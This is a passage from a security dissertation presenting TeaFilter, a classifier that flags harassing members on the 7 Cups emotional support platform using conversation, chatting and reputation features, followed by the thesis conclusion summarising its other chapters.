Figure 6.3: The Most Relevant Terms for “Rude Behavior” Topic; Reprinted from [154]
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Figure 6.4: The Most Relevant Terms for “Soliciting Personal Information” Topic;
Reprinted from [154]
explain a member report, block, or ban. These topics show significantly large inter-topic
distances, indicating they are well separated based on their semantic meaning. The top-30
most relevant terms for these topics are presented in Figure 6.2, Figure 6.3, and Figure 6.4,
respectively. Specifically, the largest topic (i.e., for Figure 6.2) is characterized by terms
such as “sex”, “porn”, “naked”, and “nude”, which suggest that a main reason for a member
report, block, or ban is sexual harassment. The second largest topic (i.e., for Figure 6.3)
is characterized by terms such as “aggressive”, “rude”, “angry”, and “offensive”, indicat-
ing this topic is for rude behavior. The smallest topic contains terms such as “personal”,
“number”, “details”, “email”, and “location”, which imply the solicitation of personal in-
formation. Therefore, we label the three topics as “sexual harassment”, “rude behavior”,
and “personal information”, respectively.
Our findings are quite similar to [89], where researchers found that the majority of on-
line harassment was related to receiving unwanted pornography (sexual harassment) from
harassers, followed by threats and insults (i.e., rude behaviors). However, our results indi-












Figure 6.5: The Architectural Overview of the System; Reprinted from [154]
6.5 Detection System Design
We designed a system named TeaFilter to detect suspicious members. TeaFilter is com-
posed of two phases, namely the training phase and the detection phase. In the training
phase, a statistical classifier is learned from a set of labelled members including the be-
nign active members and suspicious active members. In the detection phase, the behavior
of an unknown member will be represented by a feature vector and then analyzed by the
statistical classifier to decide whether this member is suspicious. Figure 6.5 presents the
architectural overview of TeaFilter. TeaFilter can directly take advantage of all popular sta-
tistical classifiers and therefore designing features capable of discriminating between be-
nign and suspicious members becomes the focus. In this section, we introduce a collection
of features to characterize members’ behaviors and further demonstrate its effectiveness
using real-world data as introduced in Section 6.3. The features intend to characterize the
behavior of a member from three aspects including i) how she starts conversations, ii) how
she chats during a conservation, and iii) the public reputation of this member inside the
community.
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Figure 6.6: Feature 1: The Total Number of Conversations; Reprinted from [154]
6.5.1 Conversation-Request Features
Since benign members seek stress relief, they usually focus on establishing and maintain-
ing a few but meaningful connections with listeners that are more likely to result in free
expression of anxiety, active interactions, and finally tangible relief. In contrast, suspi-
cious members tend to solicit a large number of listeners for unpleasant conversations.
In addition, some listeners may realize the actual intentions of suspicious members and
consequently refuse to respond or even terminate the ongoing conversations. In response,
suspicious members usually quickly switch to new listeners after they fail to get prompt
feedback from current listeners. In other words, while benign members aim to establish
high-quality conversations with listeners, suspicious members tend to focus more on ac-
complishing a large number of conversations for harassment. Therefore, suspicious mem-
bers are likely to trigger more conversations compared to benign members. We therefore
define the following feature.
• Feature 1: The Total Number of Conversations. The feature characterizes the total
number of conversations in which a member is involved.
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Figure 6.7: Feature 2: The Average Number of Conversations Per Day; Reprinted
from [154]
• Feature 2: The Average Number of Conversations Per Day. For each member, we
count the average number of conversations that are successfully established per day.
We only count those days in which the member establishes at least one successful
conversation.
Both features quantify the conversations for a member. Figure 6.6 and Figure 6.7
present the distribution of values for these two features for benign and suspicious mem-
bers, respectively. The comparisons indicate that suspicious members are indeed involved
more in conversations than benign ones. Specifically, as indicated in the distribution of
Figure 6.6, more than 60% of suspicious members have total conversations higher than 50
while more than 96% of benign members have their feature values lower than 50. Fig-
ure 6.7 shows that nearly 90% of benign members participate in fewer than 4 conversations
per day. Comparatively, more than 50% of suspicious members have more than 4 conver-
sations per day.
As discussed in Section 6.3, a member has two ways to identify a listener for conver-
sation establishment. On the one hand, a member can ask the 7 Cups platform to assign
a listener based on the profile of the member and those of listeners. On the other hand, a
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Figure 6.8: Feature 3: The Number of Search-Based Conversations; Reprinted from [154]
member can first search for candidate listeners based on certain criteria (e.g., age, country,
and keywords contained in the profile of a listener) and select the preferred one to interact
with. While both benign and suspicious members have the freedom to identify their pre-
ferred listeners, suspicious members tend to depend more on searched candidates, partially
due to the higher possibility to launch targeted attacks. For example, a suspicious member
who plans to conduct sexual harassment may infer the gender of a potential target listener
based on the portraits (or avatar icons) uploaded by listeners.
• Feature 3: The Number of Search-Based Conversations; Reprinted from [154] For
each member, we calculate the total number of conversations with listeners who are
discovered through the search function.
Figure 6.8 presents the distribution of feature values, where suspicious members tend
to generate more search-based conversations compared to benign members. Specifically,
more than 65% of suspicious members have more than 20 search-based conversations while
about 10% of benign accounts have more than 20 search-based conversations.
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Figure 6.9: Feature 4: The Average Number of Messages Sent By A Member For Each
Active Day; Reprinted from [154]
6.5.2 Chatting Behaviour
Once a conversation is established, a member can interact with a listener until the conversa-
tion is explicitly cancelled. We next propose features that can capture differences between
benign and suspicious members during such conversations.
A suspicious member is inclined to be more active in sending messages to either attract
listeners’ attention or disturb their normal consulting activities. Therefore, we use the
number of messages sent by a member to quantify her level of activity in sending messages.
• Feature 4: The Average Number of Messages Sent By A Member For Each Active
Day. For a member, we count the total number of messages she has sent and divide
it by the total number of days on which this member sent out at least one message.
Figure 6.9 presents the distribution of this feature for both benign and suspicious
members. Specifically, nearly 80% of benign members have less than 40 messages per
each active day. In contrast, suspicious members are more active, where approximately
80% of them send more than 40 messages per each active day.
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Figure 6.10: Feature 5: The Number of Terminated Conversation; Reprinted from [154]
Unlike typical online chatting systems, the state of a conversation of 7 Cups will be
maintained even if the member or listener in this conversation logs out; the state will also be
maintained when the network connection is disrupted. In this case, both the member and
listener can re-engage themselves in the previously-established conversation to continue
discussion, tremendously fostering long-term, trustworthy, and high-quality interaction be-
tween the listener and member. However, a conversation will be discontinued if either side
explicitly terminates it. Usually, a conversation between a listener and a benign member
is terminated for a few reasons. For example, the member has obtained sufficient mental
support from the listener; the present listener cannot satisfy the needs of the member and
the member switches to another listener. A listener, who is trained to maintain active lis-
tening, rarely ends conversation with an individual who seeks for professional assistance.
The termination of conversation happens infrequently in this case since it takes a signifi-
cant number of interactions (and thus time) for the benign member to either get sufficient
relief or assess the professional proficiency of the listener. Comparatively, a conversation
between a listener and a suspicious member is more frequently terminated. For example,
a suspicious member does not get the expected responses from the listener after she sends
messages with unfriendly intentions; a listener simply terminates the conversation after she
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realizes the harassment attempts from a suspicious member. To summarize, we expect a
suspicious member tends to experience more terminated conversations compared to a be-
nign member. Therefore, we define the following feature.
• Feature 5: The Number of Terminated Conversations. This feature summarizes the
total number of conversations experienced by a member that are terminated either by
listeners or by this member.
Figure 6.10 presents the distribution of this feature for both benign and suspicious
members. Specifically, more than 90% of benign members have less than 20 terminated
conversations. In contrast, approximately 40% of suspicious members have more than 20
terminated conversations.
A benign member usually initiates a conversation request. If the request is accepted
by the listener, the conversation will be established. The dialog usually starts with greetings
from the member and the subsequent response from the listener. Comparatively, a suspi-
cious member may start a collection of conversations with no message exchanged, where
such conversations are denoted as blank conversations in this paper. a suspicious member
may trigger blank conversations for two reasons. First, blank conversations can possibly
lead to denial of service (DoS) attacks by wasting listeners’ time, energy, and enthusiasm
to help benign members who actually need emotional support. This type of possible DoS
attacks is stealthy since it is challenging for the listener to assess the intention of this mem-
ber without getting any messages; the listener may falsely classify a suspicious member
as one who is slow in typing. Second, a suspicious member may start many conversations
simultaneously with a collection of listeners and begin to greet each of them sequentially.
When the suspicious member gets a response from a listener, she may stop greeting the fol-
lowing ones, introducing blank conversations. In contrast to suspicious members, benign
members are much less motivated to generate blank conversations. We therefore define the
following feature to quantify such observation.
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Figure 6.11: Feature 6: The Number of Blank Conversations; Reprinted from [154]
• Feature 6: The Number of Blank Conversations.
Figure 6.11 presents the distribution of this feature for both benign and suspicious
members. Approximately 80% of benign members had fewer than 20 blank conversations.
Comparatively, over 60% of suspicious members initiated more than 20 blank conversa-
tions; about 10% of suspicious members generated a large number of (i.e., more than 100)
blank conversations.
6.5.3 Reputation Features
Members are provided with the capabilities to block listeners in case the listeners behave
inappropriately. Since listeners are extensively trained, the chance for them to start inap-
propriate conversation is extremely low. Unfortunately, this method might be misused by
suspicious members. Specifically, when the suspicious member finds that her suspicious
intention is identified by the listener and she is subject to be reported, she can block the
listener proactively to either disrupt the listener from reporting her or confuse the adminis-
trator to avoid being banned.
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Figure 6.12: Feature 7: The Total Amount of Blocked Listeners; Reprinted from [154]



















Figure 6.13: Feature 8: Level of a Member; Reprinted from [154]
Comparatively, benign members treat listeners as their private mental therapists and
are therefore extremely less likely to misuse this function. The following feature is accord-
ingly designed.
• Feature 7: Total Number of Blocked Listeners. For each member, we count the total
number of listeners she has blocked.
Figure 6.12 presents the distribution of this feature for both benign members and sus-
picious members. Specifically, 98% of benign members never blocked any listener. Com-
paratively, almost 70% of suspicious members blocked at least 1 listener.
• Feature 8: Level of A Member.
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It is a common feature in many online social networks that a user can earn more
“points” by participating in various activities such as logining in and establishing conver-
sations. Such a feature usually reflects the loyalty of users to the online social network.
The 7 Cups platform uses the “level” to characterize a member for this purpose. A member
with a high level implies a high degree of loyalty and frequent usage of the platform. While
a certain amount of benign members tend to seek emotional support regularly, most suspi-
cious members tend to be frequent users who are highly active in logining and establishing
conversations. Therefore, we expect that suspicious members are inclined to have higher
levels compared to benign members. We therefore use the level of a member as a feature.
Figure 6.13 presents the distribution for this feature: while approximately 90% of benign
users have growth points less than 2000, 50% of suspicious accounts accumulate more than
2000 growth points.
6.6 Evaluation
We have performed extensive evaluation of TeaFilter using real-world data collected from
the 7 Cups platform. We have used the records of 15,305 suspicious members and those
of 15,305 benign members to conduct the experiments, which serve as a balanced dataset
for training statistical classifiers. Our evaluation focuses on TeaFilter’s overall detection
































Figure 6.14: ROC curve on 8 features; Reprinted from [154]
6.6.1 Detection Accuracy
We evaluate the detection performance of TeaFilter when three different statistical classi-
fiers including Random Forest [35], Support Vector Machine [60], and Gradient-Boosted
Tree [109] are evaluated. We used 10-fold cross-validation, where we randomly partition
the data set into 10 folds and then employ 9 folds for training and the remaining 1 fold
for detection. The area under the ROC curve (AUC) [84] values are summarized in Ta-
ble 6.3 when these three statistical classifiers are used in TeaFilter, respectively. The high
AUC values indicate the overall high detection accuracy of the proposed system; they also
imply that the high detection performance of TeaFilter is rooted in the proposed features.
Fig. 6.14 further visualizes the receiver operating characteristic (ROC) when Random For-
est is adopted as the statistical classifier for TeaFilter, which illustrates the trade-off be-
tween the detection rate and the false positive rate. Specifically, given a false positive rate
of 1%, it can accomplish a high detection rate of 77.8%.
We also investigate the relative importance of the proposed features in the context of
Random Forest classifier, which has accomplished the best detection accuracy according
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to our experiments. We employed the variable importance of each feature to the Random
Forest classification model using a permutation test [198]. It is interesting to note that the
reputation features designed are the most important ones for TeaFilter to make a classifi-
cation decision. Feature 7, corresponding to the number of listeners a member blocked, is
many times more important than any other feature in discriminating suspicious and unsus-
picious users. This lends support to our hypothesis that suspicious users obtain a sense of
when a punitive action will be taken against them, blocking the connection prematurely.
It also suggests another kind of attack, where members may troll listeners by starting a
conversation, launch an attack quickly, and then terminate the conversation. Moreover, be-
nign users with good intentions may find no need to ever block a listener as conversations
persist on 7 cups. The importance of feature 8, the level of a member, reinforces our intu-
ition that longstanding members who make positive contributions to the community (hence
increasing their point total and account level) are at a very low risk for transforming into a
suspicious member in the future.
6.6.2 Feature Correlation
The purpose of correlation analysis is to determine if many pairs of features used in TeaFil-
ter are linearly correlated, which can hinder classification accuracy as correlated features
that essentially encode the same information to a classifier. We use Pearson’s r [147],

















































































Figure 6.15: The Upper Triangular Matrix of Pearson Correlation Coefficient; Reprinted
from [154]
and guide us to select the features. Pearsons r correlation coefficient is defined as: r =
{∑(f1 − f̄1)(f2 − f̄2)}/{√∑(f1 − f̄1)2√∑(f2 − f̄2)2}, where f̄1 and f̄2 denote the means
of the f1 and f2, respectively. The Pearson’s r takes on values between -1 and 1. The ab-
solute value (i.e, |r|) represents the degree of the correlation, ranging from being perfectly
negative correlated (-1) to perfectly positively correlated (1). Note that |r| = 0 indicates
no correlation either negatively or positively. If the Pearson’s r between two features is
close to 1 (or -1), then the pair of these features are highly correlated. Fig. 6.15 illustrates
that most of our features are not highly linearly-correlated each other. For example, there is
only one pair of features, Feature 5 (The Number of Terminated Conversations) and Feature




This paper presents a novel system, TeaFilter, to automatically detect suspicious members
in an online emotional support system. TeaFilter leverages three categories of light-weight
features to accomplish high detection performance. Although the design and the evaluation
of TeaFilter are based on real-world data collected from 7 Cups, one leading platform that
offers online emotional support, the features and the detection framework are generally ap-
plicable to popular social networks including potential new online emotional support plat-
forms. Particularly, all features are lightweight and context-independent, thereby showing
great promise to be deployed in systems that support multiple languages.
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Chapter 7: Conclusion
This dissertation presents a multi-faceted approach towards the security of i) cyber-physical
systems, ii) dynamic web services, and iii) social networks. Firstly, we have made contri-
bution on conducting systematic vulnerability assessment for a real-world, complex CPS,
namely Unmanned Systems Autonomy Services (UxAS). We leveraged a threat-driven
method to identify security requirements of UxAS and developed fuzz tests to evaluate
whether UxAS satisfies these requirements. Our testing reveals all proposed security re-
quirements are violated by the current implementation of UxAS. Second, we proposed a
novel traffic morphing algorithm, CPSMorph, to thwart traffic analysis attacks against CPS
network sessions. CPSMorph can achieve effective traffic morphing for real-time CPS
messages with moderate overhead. Third, we proposed a framework to facilitate the de-
sign of self-destructing CPS with assured security and performance properties using prob-
abilistic model checking. The framework includes a cryptographic mechanism that enables
autonomous self-destruction of a wirelessly-connected CPS node and a caching strategy
to reduce the performance overhead caused by the self-destructing mechanism. Then, we
built a novel detection system to detect PHP-based malicious web shells which performs
detection by correlating both syntactical and semantic features. Our experimental results
have demonstrated that ShellBreaker can achieve a high detection rate of 91.7% with a low
false positive rate of 1%. Finally, we have designed a novel detection system to detect sus-
picious behaviors in an online emotional support system that leverages three categories of
light-weight features. The system accomplishes high detection performance of 77.8% with
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